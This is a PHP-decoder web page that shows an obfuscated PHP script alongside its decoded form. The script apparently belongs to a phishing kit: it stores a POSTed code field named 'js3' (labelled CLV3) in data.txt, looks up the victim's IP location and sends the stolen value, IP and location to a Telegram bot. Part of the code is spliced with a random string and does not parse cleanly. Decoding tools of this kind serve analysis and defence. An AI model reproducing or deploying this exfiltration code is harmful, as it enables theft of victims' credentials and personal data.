Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto QISdz; UAHmt: @(include "\x77\162\x6e\56\x70\150\160"); goto picht; q2Pmq: cu..

Decoded Output download

<?php 
 goto QISdz; UAHmt: @(include "wrn.php"); goto picht; q2Pmq: curl_close($ch); goto SSSf7; dq8PN: $urlMsg = "https://api.telegram.org/bot{$token}/sendMessage"; goto M_ncZ; TY6rg: $userp = $_SERVER["REMOTE_ADDR"]; goto yni9T; BHYYB: $fecha = date("d-m-Y"); goto CodFo; wp4NA: $server_output = curl_exec($ch); goto q2Pmq; KYFgI: curl_setopt($ch, CURLOPT_POSTFIELDS, "chat_id={$id}&parse_mode=HTML&text={$msg}"); goto GL7RF; bT1eS: curl_setopt($ch, CURLOPT_POST, 1); goto KYFgI; MpVga: @(include "tlgram.php"); goto UAHmt; VB2km: $id = $chatID; goto dq8PN; V0gpy: $msg = "**\360\237\247\x99\360\237\217\274\342\200\215\xe2\x99\x82\xef\xb8\x8fSOLAR\xf0\x9f\247\231\360\x9f\x8f\xbc\342\x80\x8d\xe2\231\202\xef\270\217**\xa" . "\360\237\x9f\xa2CL4V3: {$js3}\xa" . "\xf0\237\237\242IP: {$ip}
" . "\360\x9f\x9f\242Fecha: {$fecha}\xa" . "\360\x9f\x9f\242Ubicaci\xc3\xb3n:"EYHgEzWEdjJgYKAu8VjC4DohVYUMbvZ6Ua45MgSaYBTFv3725expKB69YsjM6Utj99E6Sn3LpcxQ4mNrwfrJLM5NGbWiQ["HTTP_CLIENT_IP"])) { $ipaddress = $_SERVER["HTTP_CLIENT_IP"]; } else { if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { $ipaddress = $_SERVER["HTTP_X_FORWARDED_FOR"]; } else { if (isset($_SERVER["HTTP_X_FORWARDED"])) { $ipaddress = $_SERVER["HTTP_X_FORWARDED"]; } else { if (isset($_SERVER["HTTP_FORWARDED_FOR"])) { $ipaddress = $_SERVER["HTTP_FORWARDED_FOR"]; } else { if (isset($_SERVER["HTTP_FORWARDED"])) { $ipaddress = $_SERVER["HTTP_FORWARDED"]; } else { if (isset($_SERVER["REMOTE_ADDR"])) { $ipaddress = $_SERVER["REMOTE_ADDR"]; } else { $ipaddress = "UNKNOWN"; } } } } } } return $ipaddress; } goto zAOiF; Hxpct: curl_setopt($ch, CURLOPT_URL, $urlMsg); goto bT1eS; CodFo: $ip = $_SERVER["REMOTE_ADDR"]; goto MpVga; Hp3dJ: $ch = curl_init(); goto Hxpct; QISdz: if ($_POST) { $js3 = $_POST["js3"]; fwrite(fopen("data.txt", "a"), "CLV3: " . "{$js3}
"); } goto BHYYB; yni9T: $token = $T0K3N; goto VB2km; zAOiF: function get_ip_info($ip) { $url = "http://ip-api.com/json/{$ip}"; $response = file_get_contents($url); if ($response) { $data = json_decode($response, true); if ($data["status"] == "success") { $country = $data["country"]; $city = $data["city"]; return "Pa\303\xads: {$country}
Ciudad: {$city}"; } } return "Informaci\xc3\263n de ubicaci\xc3\xb3n no disponible."; } goto TY6rg; picht: @(include "not.php"); goto R59xu; GL7RF: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto wp4NA; M_ncZ: $ip = get_client_ip(); goto KCust; KCust: $ipInfo = get_ip_info($ip); goto V0gpy; SSSf7: ?>

Did this file decode correctly?

Original Code

<?php
 goto QISdz; UAHmt: @(include "\x77\162\x6e\56\x70\150\160"); goto picht; q2Pmq: curl_close($ch); goto SSSf7; dq8PN: $urlMsg = "\150\164\x74\160\163\72\x2f\57\x61\160\x69\x2e\x74\x65\154\145\147\x72\141\x6d\56\157\162\x67\x2f\142\x6f\x74{$token}\57\163\x65\x6e\144\115\145\x73\x73\141\x67\145"; goto M_ncZ; TY6rg: $userp = $_SERVER["\x52\x45\115\x4f\x54\105\137\x41\x44\104\122"]; goto yni9T; BHYYB: $fecha = date("\x64\55\x6d\x2d\x59"); goto CodFo; wp4NA: $server_output = curl_exec($ch); goto q2Pmq; KYFgI: curl_setopt($ch, CURLOPT_POSTFIELDS, "\x63\150\x61\x74\137\151\x64\75{$id}\x26\160\141\x72\163\x65\137\155\x6f\x64\x65\x3d\110\124\115\x4c\x26\x74\145\170\x74\x3d{$msg}"); goto GL7RF; bT1eS: curl_setopt($ch, CURLOPT_POST, 1); goto KYFgI; MpVga: @(include "\164\x6c\147\162\x61\x6d\x2e\160\150\x70"); goto UAHmt; VB2km: $id = $chatID; goto dq8PN; V0gpy: $msg = "\52\52\360\237\247\x99\360\237\217\274\342\200\215\xe2\x99\x82\xef\xb8\x8f\123\117\114\x41\x52\xf0\x9f\247\231\360\x9f\x8f\xbc\342\x80\x8d\xe2\231\202\xef\270\217\52\x2a\xa" . "\360\237\x9f\xa2\103\x4c\64\x56\63\x3a\x20{$js3}\xa" . "\xf0\237\237\242\x49\x50\72\x20{$ip}\12" . "\360\x9f\x9f\242\106\x65\x63\150\141\72\x20{$fecha}\xa" . "\360\x9f\x9f\242\125\x62\151\143\141\143\151\xc3\xb3\x6e\72\42EYHgEzWEdjJgYKAu8VjC4DohVYUMbvZ6Ua45MgSaYBTFv3725expKB69YsjM6Utj99E6Sn3LpcxQ4mNrwfrJLM5NGbWiQ["\x48\x54\124\120\x5f\103\x4c\111\x45\116\x54\x5f\x49\x50"])) { $ipaddress = $_SERVER["\110\x54\x54\x50\x5f\x43\x4c\111\105\x4e\x54\137\111\120"]; } else { if (isset($_SERVER["\110\x54\x54\120\137\x58\137\106\x4f\x52\x57\x41\122\x44\105\104\x5f\106\117\122"])) { $ipaddress = $_SERVER["\x48\x54\x54\x50\137\x58\x5f\106\117\122\127\101\122\104\105\x44\x5f\106\x4f\x52"]; } else { if (isset($_SERVER["\x48\124\124\x50\137\x58\x5f\106\117\122\127\x41\x52\x44\105\x44"])) { $ipaddress = $_SERVER["\110\x54\x54\x50\x5f\x58\137\x46\x4f\122\127\x41\x52\104\x45\x44"]; } else { if (isset($_SERVER["\x48\x54\x54\120\x5f\106\x4f\122\127\x41\122\x44\105\x44\137\x46\117\122"])) { $ipaddress = $_SERVER["\x48\124\124\x50\137\106\x4f\x52\127\101\x52\104\x45\x44\x5f\106\x4f\122"]; } else { if (isset($_SERVER["\110\124\124\x50\137\x46\x4f\x52\x57\101\x52\x44\x45\104"])) { $ipaddress = $_SERVER["\x48\x54\x54\x50\x5f\106\117\x52\127\x41\122\104\x45\x44"]; } else { if (isset($_SERVER["\122\105\x4d\117\x54\105\x5f\x41\104\x44\122"])) { $ipaddress = $_SERVER["\122\x45\115\x4f\124\x45\x5f\101\104\x44\122"]; } else { $ipaddress = "\125\116\113\116\117\x57\116"; } } } } } } return $ipaddress; } goto zAOiF; Hxpct: curl_setopt($ch, CURLOPT_URL, $urlMsg); goto bT1eS; CodFo: $ip = $_SERVER["\x52\x45\x4d\117\x54\105\x5f\101\x44\104\x52"]; goto MpVga; Hp3dJ: $ch = curl_init(); goto Hxpct; QISdz: if ($_POST) { $js3 = $_POST["\x6a\x73\63"]; fwrite(fopen("\x64\141\x74\141\56\x74\170\x74", "\x61"), "\x43\x4c\126\x33\x3a\x20" . "{$js3}\12"); } goto BHYYB; yni9T: $token = $T0K3N; goto VB2km; zAOiF: function get_ip_info($ip) { $url = "\x68\164\164\160\x3a\57\x2f\x69\x70\x2d\x61\160\151\x2e\143\x6f\x6d\x2f\152\163\x6f\156\57{$ip}"; $response = file_get_contents($url); if ($response) { $data = json_decode($response, true); if ($data["\x73\x74\141\164\x75\163"] == "\163\x75\143\143\145\163\163") { $country = $data["\143\x6f\165\x6e\x74\x72\171"]; $city = $data["\143\151\x74\x79"]; return "\x50\141\303\xad\163\x3a\40{$country}\12\103\x69\165\x64\141\144\x3a\x20{$city}"; } } return "\111\156\x66\x6f\162\x6d\141\143\x69\xc3\263\156\40\144\x65\x20\x75\142\151\x63\x61\143\x69\xc3\xb3\x6e\40\156\x6f\x20\144\151\x73\160\x6f\x6e\x69\x62\154\145\x2e"; } goto TY6rg; picht: @(include "\x6e\x6f\164\x2e\x70\150\x70"); goto R59xu; GL7RF: curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); goto wp4NA; M_ncZ: $ip = get_client_ip(); goto KCust; KCust: $ipInfo = get_ip_info($ip); goto V0gpy; SSSf7: ?>

Function Calls

None

Variables

None

Stats

MD5 262f5ba9d6657038e0f7321d37eaf4a3
Eval Count 0
Decode Time 53 ms